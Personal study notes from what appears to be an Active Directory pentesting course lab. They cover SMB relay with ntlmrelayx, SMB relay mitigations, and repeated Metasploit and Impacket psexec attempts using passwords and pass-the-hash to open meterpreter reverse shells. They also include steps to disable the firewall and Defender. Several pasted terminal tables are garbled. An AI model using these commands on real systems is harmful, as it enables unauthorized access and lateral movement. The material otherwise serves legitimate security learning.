[*] SMBD-Thread-6: Received connection from 192.168.163.157, attacking target smb://192.168.163.158
[*] Authenticating against smb://192.168.163.158 as ONEPIECE\LMonkey SUCCEED
[*] Service RemoteRegistry is in stopped state
[*] Service RemoteRegistry is disabled, enabling it
[*] Starting service RemoteRegistry
[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[-] SCMR SessionError: code: 0x420 - ERROR_SERVICE_ALREADY_RUNNING - An instance of the service is already running.
[*] Executed specified command on host: 192.168.163.158
[-] SMB SessionError: STATUS_OBJECT_NAME_NOT_FOUND(The object name is not found.)
[*] Stopping service RemoteRegistry
[*] Restoring the disabled state for service RemoteRegistry
```

htaPayload... passwords.txt AgentSudo

```
#ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"
```

90.07 - SMB Relay Mitigations



SMB Relay

Mitigation

Mitigation Strategies:

- **Enable SMB Signing on all devices**
 - Pro: Completely stops the attack
 - Con: Can cause performance issues with file copies
- **Disable NTLM authentication on network**
 - Pro: Completely stops the attack
 - Con: If Kerberos stops working, Windows defaults back to NTLM
- **Account tiering:**
 - Pro: Limits domain admins to specific tasks (e.g. only log onto servers with need for DA)
 - Con: Enforcing the policy may be difficult
- **Local admin restriction:**
 - Pro: Can prevent a lot of lateral movement
 - Con: Potential increase in the amount of service desk tickets

90.08 - Gaining Shell Access



Gaining Shell Access

≡ TCM Security



```
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name          Current Setting  Required  Description
RHOSTS        10.0.0.35      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT         445           yes       The SMB service port (TCP)
SERVICE_DESCRIPTION    no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME   no        The service display name
SERVICE_NAME      no        The service name
SMBDomain       MARVEL.local  no        The Windows domain to use for authentication
SMBPass         Password1    no        The password for the specified username
SMBSHARE        no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser         fcastle     no        The username to authenticate as
```

Gaining Shell Access

Through Metasploit – with a password

use exploit/windows/smb/psexec

≡ TCM Security

Name	Current Setting	Required	Description
RHOSTS	10.0.0.35	yes	The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT	445	yes	The SMB service port (TCP)
SERVICE_DESCRIPTION		no	Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME		no	The service display name
SERVICE_NAME		no	The service name
SMBDomain	.	no	The Windows domain to use for authentication
SMBPass	aad3b435b51404eeaa3b435b5 1404ee:6c598d4edc98d0a0c97 97ef98b869751	no	The password for the specified username
SMBSHARE		no	The share to connect to, can be an admin share (ADMIN\$,C\$,...) or a normal read/write folder share
SMBUser	administrator	no	The username to authenticate as

Gaining Shell Access

Through Metasploit – with a hash

`use exploit/windows/smb/psexec`

If we are concerned about being picked up by Blue team/Antivirus/IDS/IPS, or we want to be silent for some other reason.

```
(kali㉿kali)-[~]
└─$ psexec.py marvel.local/fcastle:'Password1'@10.0.0.25
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[*] Requesting shares on 10.0.0.25.....
[*] Found writable share ADMIN$ 
[*] Uploading file NJFQWYMX.exe
[*] Opening SVCManager on 10.0.0.25.....
[*] Creating service hsjw on 10.0.0.25.....
[*] Starting service hsjw.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19042.631]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
```

Gaining Shell Access

Through psexec – with a password

`psexec.py marvel.local/fcastle:'Password1'@10.0.0.25`

```
(kali㉿kali)-[~]
$ psexec.py administrator@10.0.0.25 -hashes aad3b435b51404eeaad3b435b51404ee:6c598d4edc98d0a0c9797ef98b869751

Impacket v0.9.19 - Copyright 2019 SecureAuth Corporation

[*] Requesting shares on 10.0.0.25.....
[*] Found writable share ADMIN$ 
[*] Uploading file TicYmwEY.exe
[*] Opening SVCManager on 10.0.0.25.....
[*] Creating service RvBF on 10.0.0.25.....
[*] Starting service RvBF.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.19042.631]
(c) 2020 Microsoft Corporation. All rights reserved.

C:\Windows\system32>■
```

Gaining Shell Access

Through psexec – with a hash

psexec.py administrator@10.0.0.25 -hashes LM:NT

≡ TCM Security

Fire up MSFConsole.

Search psexec

We want /exploit/windows/smb/psexec. On mine, it was option 4.

We are going to change the payload to windows x64 instead of the default.

set payload windows/x64/meterpreter/reverse_tcp

Set RHOST, SMBDomain, SMBPassword or SMBHash, SMBUser. Not sure if it is the user set on Active Directory, or local user set up when we first boot the machine. Tried Frank, LMonkey, and ZRoronoa.

```
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
=====
Name          Current Setting  Required  Description
RHOSTS        192.168.163.158  yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT         445            yes        The SMB service port (TCP)
SERVICE_DESCRIPTION    no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME  no        The service display name
SERVICE_NAME     no        The service name
SMBDomain      ONEPIECE.local  no        The Windows domain to use for authentication
SMBPass         Password1      no        The password for the specified username
SMBSHARE        no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser         frank          no        The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):
=====
Name          Current Setting  Required  Description
EXITFUNC       thread          yes        Exit technique (Accepted: '', seh, thread, process, none)
LHOST          192.168.163.133  yes        The listen address (an interface may be specified)
LPORT          4444           yes        The listen port

Exploit target:
=====
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server...
[-] 192.168.163.158:445 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (192.168.163.158:445) timed out.
[*] Exploit completed, but no session was created.
```

```
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name          Current Setting  Required  Description
RHOSTS        192.168.163.157  yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT         445              yes        The SMB service port (TCP)
SERVICE_DESCRIPTION    no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME  no        The service display name
SERVICE_NAME     no        The service name
SMBDomain      ONEPIECE.local  no        The Windows domain to use for authentication
SMBPass        Password1      no        The password for the specified username
SMBSHARE       $$/  no        The share to connect to, can be an admin share (ADMIN$,C$, ...) or a normal read/write folder share
SMBUser        lmonkey        no        The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):
Name          Current Setting  Required  Description
EXITFUNC      thread          yes        Exit technique (Accepted: '', seh, thread, process, none)
LHOST         192.168.163.133  yes        The listen address (an interface may be specified)
LPORT         4444             yes        The listen port

Exploit target:
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.157:445 - Connecting to the server...
[-] 192.168.163.157:445 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (192.168.163.157:445) timed out.
[*] Exploit completed, but no session was created.
```

```

msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name          Current Setting  Required  Description
RHOSTS        192.168.163.157   yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT         445              yes       The SMB service port (TCP)
SERVICE_DESCRIPTION  no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME no        The service display name
SERVICE_NAME   no        The service name
SMBDomain     ONEPIECE.local  no        The Windows domain to use for authentication
SMBPass        Password2      no        The password for the specified username
SMBSHARE       no        The Share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser        ZRoronoa      no        The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):
Name          Current Setting  Required  Description
EXITFUNC      thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST         192.168.163.133  yes       The listen address (an interface may be specified)
LPORT         4444             yes       The listen port

Exploit target:

Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.157:445 - Connecting to the server...
[-] 192.168.163.157:445 - Exploit failed [unreachable]: Rex::ConnectionTimeout The connection with (192.168.163.157:445) timed out.
[*] Exploit completed, but no session was created.

```

Machines were up. One of the tries the client was logged in the account. Not sure what is happening.

09/30/2024 - 23:57 - (Update by the end of session)

Windows command to disable firewall: "#netsh advfirewall set allprofiles state off"

Do not forget to disable the client Firewall.

It was not working, but then after Disabling the Firewall, the error message changed:

```
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name      Current Setting  Required  Description
RHOST    192.168.163.158  yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT    445               yes        The SMB service port (TCP)
SERVICE_DESCRIPTION  no         Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME  no         The service display name
SERVICE_NAME   no         The service name
SMBDomain  ONEPIECE.local  no         The Windows domain to use for authentication
SMBPass    Password2       no         The password for the specified username
SMBSHARE   exploit       no         The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser    ZRoronoa       no         The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
EXITFUNC  thread          yes        Exit technique (Accepted: '', seh, thread, process, none)
LHOST    192.168.163.133  yes        The listen address (an interface may be specified)
LPORT    4444              yes        The listen port

Exploit target:
Id  Name
0   Automatic

View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server...
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445|ONEPIECE.local as user 'ZRoronoa' ...
[*] 192.168.163.158:445 - Selecting PowerShell target
[*] 192.168.163.158:445 - Executing the payload...
[-] 192.168.163.158:445 - Service failed to start - ACCESS_DENIED
[*] Exploit completed, but no session was created.
```

We have now access denied. And, if you are logged in the Client and can see the screen before running the exploit, Windows Defender will notify about threads immediately after you run the exploit. Then, I disabled Windows Defender, and the exploit worked.

```
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server...
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445|ONEPIECE.local as user 'ZRoronoa' ...
[*] 192.168.163.158:445 - Selecting PowerShell target
[*] 192.168.163.158:445 - Executing the payload...
[*] 192.168.163.158:445 - Service start timed out, OK if running a command or non-service executable ...
[*] Sending stage (200774 bytes) to 192.168.163.158
[*] Meterpreter session 1 opened (192.168.163.133:4444 → 192.168.163.158:55229) at 2024-10-02 00:15:44 -0400

meterpreter > dir
Listing: C:\Windows\system32
Mode      Size     Type  Last modified      Name
040776/rwxrwxrwx  0      dir   2019-12-07 04:49:03 -0500  0409
100666/rw-rw-rw- 12088   fil   2019-12-07 04:08:37 -0500  69fe178f-26e7-43a9-aa7d-2b616b672dde_eventlogservice.dll
100666/rw-rw-rw- 13280   fil   2024-10-01 22:22:53 -0400  6bea57fb-8dfb-4177-9ae8-42e8b3529933_RuntimeDeviceInstall.dll
100666/rw-rw-rw- 3176    fil   2019-12-07 04:09:00 -0500  @AdvancedKeySettingsNotification.png
100666/rw-rw-rw- 232     fil   2019-12-07 04:08:44 -0500  @AppHelpToast.png
100666/rw-rw-rw- 308     fil   2019-12-07 04:08:45 -0500  @AudioToastIcon.png
100666/rw-rw-rw- 450     fil   2019-12-07 04:08:21 -0500  @BackgroundAccessToastIcon.png
100666/rw-rw-rw- 330     fil   2019-12-07 04:08:52 -0500  @EnrollmentToastIcon.png
100666/rw-rw-rw- 354     fil   2019-12-07 04:09:37 -0500  @StorageSenseToastIcon.png
100666/rw-rw-rw- 404     fil   2019-12-07 04:09:07 -0500  @VpnToastIcon.png
```

```
meterpreter > sysinfo
Computer       : THEROBOT
OS            : Windows 10 (10.0 Build 19045).
Architecture   : x64
System Language: en_US
Domain        : ONEPIECE
Logged On Users: 7
Meterpreter    : x64/windows
meterpreter > 
```

```
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name      Current Setting  Required  Description
RHOSTS    192.168.163.158 yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445             yes        The SMB service port (TCP)
SERVICE_DESCRIPTION no         no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME no         no        The service display name
SERVICE_NAME   no         no        The service name
SMBDomain    ONEPIECE.local no        The Windows domain to use for authentication
SMBPass      Password1    no        The password for the specified username
SMBSHARE     no         no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser      LMonkey     no        The username to authenticate as
192.168.163.158  codeshell\...  bookstoreX
Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
EXTFUNC   thread        yes        Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.163.133 yes        The listen address (an interface may be specified)
LPORT     4444           yes        The listen port
Exploit target:
Id  Name
--  --
0   Automatic  password.txt  capstoneVu...
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server ...
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445|ONEPIECE.local as user 'LMonkey' ...
[*] 192.168.163.158:445 - Selecting PowerShell target
[*] 192.168.163.158:445 - Executing the payload...
[*] 192.168.163.158:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (200774 bytes) to 192.168.163.158
[*] Meterpreter session 2 opened (192.168.163.133:4444 → 192.168.163.158:55254) at 2024-10-02 00:33:10 -0400
meterpreter > 
```

It worked with both users set up on Active Directory. For me, LMonkey, and ZRoronoa. Nami, and Frank did not work.

```
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name      Current Setting  Required  Description
RHOSTS    192.168.163.158 yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445             yes        The SMB service port (TCP)
SERVICE_DESCRIPTION no         no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME no         no        The service display name
SERVICE_NAME   no         no        The service name
SMBDomain    ONEPIECE.local no        The Windows domain to use for authentication
SMBPass      Password1    no        The password for the specified username
SMBSHARE     no         no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser      Frank        no        The username to authenticate as
192.168.163.158  password.txt  capstoneVu...
Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
EXTFUNC   thread        yes        Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.163.133 yes        The listen address (an interface may be specified)
LPORT     4444           yes        The listen port
Exploit target:
Id  Name
--  --
0   Automatic  password.txt  capstoneVu...
View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server ...
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445|ONEPIECE.local as user 'Frank'...
[*] 192.168.163.158:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError: Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/psexec) > 
```

```

msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name      Current Setting  Required  Description
RHOSTS    192.168.163.158  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445               yes       The SMB service port (TCP)
SERVICE_DESCRIPTION  no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME no        The service display name
SERVICE_NAME   no        The service name
SMBDomain    ONEPIECE.local  no        The Windows domain to use for authentication
SMBPass      Password1      no        The password for the specified username
SMBSHARE     \\bookStore\  no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser     Nami             no        The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.163.133  yes       The listen address (an interface may be specified)
LPORT     4444              yes       The listen port

Exploit target:
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server...
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445\ONEPIECE.local as user 'Nami'...
[-] 192.168.163.158:445 - Exploit failed [no-access]: Rex::Proto::SMB::Exceptions::LoginError: Login Failed: (0xc000006d) STATUS_LOGON_FAILURE: The attempted logon is invalid. This is either due to a bad username or authentication information.
[*] Exploit completed, but no session was created.
msf6 exploit(windows/smb/psexec) > set SMBUser .\Nami
SMBUser => .\Nami
msf6 exploit(windows/smb/psexec) > run

```

```

msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name      Current Setting  Required  Description
RHOSTS    192.168.163.158  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445               yes       The SMB service port (TCP)
SERVICE_DESCRIPTION  no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME no        The service display name
SERVICE_NAME   no        The service name
SMBDomain    THENAVIGATOR.local  no        The Windows domain to use for authentication
SMBPass      Password1      no        The password for the specified username
SMBSHARE     \\bookStore\  no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser     Nami             no        The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.163.133  yes       The listen address (an interface may be specified)
LPORT     4444              yes       The listen port

Exploit target:
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

```

10/1/2024 - 23:39 - (Update by the end of session)

I was thinking about the firewall/antivirus issue and if we go back and try to redo the part where we try to run a command in the target machine using the #ntlmrelayx.py command in the SMB Relay attack lesson, it should work now. The antivirus and firewall were up at that point, so it might have blocked the command from running in the target.

Another update here is that we do NOT need the SMBDomain to be set when we are exploiting local user accounts, like Nami and Frank. We can issue "#unset SMBDomain" or "#set SMBDomain ." in Metasploit to unset SMBDomain value.

Let us try exploiting Nami and Frank just one more time.

Frank IP is 192.168.163.158 .

```
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
  Desktop/TCM-ActiveDirectory-Lab/
    Name          Current Setting  Required  Description
    RHOSTS        192.168.163.158  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
    RPORT         445              yes       The SMB service port (TCP)
    SERVICE_DESCRIPTION      no       Service description to be used on target for pretty listing
    SERVICE_DISPLAY_NAME    TCM-ActiveDir  no       The service display name
    SERVICE_NAME          _Attack     no       The service name
    SMBDomain           .          no       The Windows domain to use for authentication
    SMBPass            Password1  yes       The password for the specified username
    SMBSHARE           //Desktop/  no       The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
    SMBUser            Frank      no       The username to authenticate as
[*] msf6 exploit(windows/smb/psexec) > payload
Payload options (windows/x64/meterpreter/reverse_tcp):
  Desktop/TCM-ActiveDirectory-Lab/SMB-Relay-Attack/
    Name          Current Setting  Required  Description
    EXITFUNC      thread        yes       Exit technique (Accepted: '', seh, thread, process, none)
    LHOST         192.168.163.133  yes       The listen address (an interface may be specified)
    LPORT         4444           yes       The listen port
[*] msf6 exploit(windows/smb/psexec) > exploit
Exploit target:
  Id  Name
  -  -
  0  Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server...
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445 as user 'Frank'...
[-] 192.168.163.158:445 - Exploit failed [no-access]: RubySMB::Error::UnexpectedStatusCode The server responded with an unexpected status code: STATUS_ACCE
[*] Exploit completed, but no session was created.
```

Tried with local Administrator, but it did not work either.

```
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name          Current Setting
RHOSTS        192.168.163.158
RPORT         445 [ActiveDirectory-Lab]
SERVICE_DESCRIPTION
SERVICE_DISPLAY_NAME
SERVICE_NAME
SMBDomain     ~Desktop\Windows-Relay-Attack
SMBPass        aad3b435b51404eeaaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f
SMBSHARE      \Device\ADMIN$ [ActiveDirectory-Lab]
SMBUser       Administrator [ActiveDirectory-Lab/SMB-Relay-Attack]

Payload options (windows/x64/meterpreter/reverse_tcp):
Name          Current Setting  Required  Description
LHOST         192.168.163.133  yes        The listen address (an interface may be specified)
LPORT         4444            yes        The listen port

Exploit target: ~/Desktop/TCP-ActiveDirectory-Lab/SMB-Relay-Attack

Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server ...
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445 as user 'Administrator'...
[*] 192.168.163.158:445 - Selecting PowerShell target
[*] 192.168.163.158:445 - Executing the payload...
[-] 192.168.163.158:445 - Service failed to start - ACCESS_DENIED
[*] Exploit completed, but no session was created.
```

```
msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name      Current Setting  Description
RHOSTS    192.168.163.158  The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445              The SMB service port (TCP)
SERVICE_DESCRIPTION  DC-ActiveDirectory-Lab
SERVICE_DISPLAY_NAME DC-ActiveDirectory-Lab
SERVICE_NAME    DC-ActiveDirectory-Lab
SMBDomain   .
SMBPass     aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f
SMBSHARE    \Windows\system32\WindowsPowerShell\v1.0\powershell.exe
SMBUser     Administrator
                         /Devs/Windows/WindowsPowerShell/v1.0/powershell.exe

Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.163.133  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445 as user 'Administrator' ...
[*] 192.168.163.158:445 - Selecting PowerShell target
[*] 192.168.163.158:445 - Executing the payload...
[-] 192.168.163.158:445 - Service failed to start - ACCESS_DENIED
[*] Exploit completed, but no session was created.
```

Even tried with "administrator" all lower case.

```

msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
  Desktop/TCP-ActiveDirectory-Lab/
    Name      Current Setting  Required  Description
    RHOSTS    192.168.163.158  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
    REPORT    445               yes       The SMB service port (TCP)
    SERVICE_DESCRIPTION  Desktop/TCP-ActiveDirectory-Lab
    SERVICE_DISPLAY_NAME Desktop/TCP-ActiveDirectory-Lab
    SERVICE_NAME   .
    SMBDomain    .
    SMBPass      aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f  no        The password for the specified username
    SMBSHARE    .
    SMBUser     administrator  no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
    SMBUser    administrator  no        The username to authenticate as

  /Desktop/TCP-ActiveDirectory-Lab/SMB-Relay-Attack
Payload options (windows/x64/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST    192.168.163.133  yes       The listen address (an interface may be specified)
  LPORT    4444              yes       The listen port

Exploit target:
  Id  Name
  --  --
  0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/psexec) > set smbuser administrator
smbuser => run
msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server...
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445 as user 'administrator' ...
[*] 192.168.163.158:445 - Selecting PowerShell target
[*] 192.168.163.158:445 - Executing the payload...
[-] 192.168.163.158:445 - Service failed to start - ACCESS_DENIED
[*] Exploit completed, but no session was created.

```

Also tried in the Client_2, to see if it would work there. The password is the same in both accounts. It did not work either.

```

msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
  Desktop/TCP-ActiveDirectory-Lab/
    Name      Current Setting  Required  Description
    RHOSTS    192.168.163.157  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
    REPORT    445               yes       The SMB service port (TCP)
    SERVICE_DESCRIPTION  Desktop/TCP-ActiveDirectory-Lab/SMB-Relay-Attack
    SERVICE_DISPLAY_NAME Desktop/TCP-ActiveDirectory-Lab/SMB-Relay-Attack
    SERVICE_NAME   .
    SMBDomain    .
    SMBPass      aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f  no        The password for the specified username
    SMBSHARE    .
    SMBUser     administrator  no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
    SMBUser    administrator  no        The username to authenticate as

  Payload options (windows/x64/meterpreter/reverse_tcp):
  Name      Current Setting  Required  Description
  EXITFUNC  thread          yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST    192.168.163.133  yes       The listen address (an interface may be specified)
  LPORT    4444              yes       The listen port

Exploit target:
  Id  Name
  --  --
  0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/smb/psexec) > run

[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.157:445 - Connecting to the server...
[*] 192.168.163.157:445 - Authenticating to 192.168.163.157:445 as user 'administrator' ...
[*] 192.168.163.157:445 - Selecting PowerShell target
[*] 192.168.163.157:445 - Executing the payload...
[-] 192.168.163.157:445 - Service failed to start - ACCESS_DENIED
[*] Exploit completed, but no session was created.

```

Windows command to turn firewall off: "#netsh advfirewall set allprofiles state off"

Possible solution involves installing and running the following script:

<https://github.com/Dewalt-arch/pimpmyadlab>

Antivirus real time protection was enabled. Disabled it, and now ready to try again. I thought everything was turned off.

Big shout to bl34chig0.github.io/ that helped with the Antivirus tip.

It worked with the password spelled out.

```

msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name      Current Setting  Required  Description
RHOSTS    192.168.163.158  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445              yes       The SMB service port (TCP)
SERVICE_DESCRIPTION  no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME  no        The service display name
SERVICE_NAME   no        The service name
SMBDomain   .             no        The Windows domain to use for authentication
SMBPass     Password!    no        The password for the specified username
SMBSHARE    $Recycle.Bin  no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser     Administrator  no        The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
EXITFUNC  thread         yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.163.133  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.
msf6 exploit(windows/smb/psexec) > run
[*] Started reverse TCP handler on 192.168.163.133:4444
[*] 192.168.163.158:445 - Connecting to the server...
[*] 192.168.163.158:445 - Authenticating to 192.168.163.158:445 as user 'Administrator' ...
[*] 192.168.163.158:445 - Selecting PowerShell target
[*] 192.168.163.158:445 - Executing the payload...
[*] 192.168.163.158:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (200774 bytes) to 192.168.163.158
[*] Meterpreter session 1 opened (192.168.163.133:4444 → 192.168.163.158:50408) at 2024-10-04 22:53:29 -0400

meterpreter > sysinfo
Computer : THEROBOT
OS       : Windows 10 (10.0 Build 19045).
Architecture : x64
System Language : en_US
Domain   : ONEPIECE
Logged On Users : 7

```

```

msf6 exploit(windows/smb/psexec) > options
Module options (exploit/windows/smb/psexec):
Name      Current Setting  Required  Description
RHOSTS    192.168.163.157  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     445              yes       The SMB service port (TCP)
SERVICE_DESCRIPTION  no        Service description to be used on target for pretty listing
SERVICE_DISPLAY_NAME  no        The service display name
SERVICE_NAME   no        The service name
SMBDomain   .             no        The Windows domain to use for authentication
SMBPass     Password!    no        The password for the specified username
SMBSHARE    $Recycle.Bin  no        The share to connect to, can be an admin share (ADMIN$,C$,...) or a normal read/write folder share
SMBUser     Administrator  no        The username to authenticate as

Payload options (windows/x64/meterpreter/reverse_tcp):
Name      Current Setting  Required  Description
EXITFUNC  thread         yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.163.133  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:
Id  Name
--  --
0   Automatic

View the full module info with the info, or info -d command.
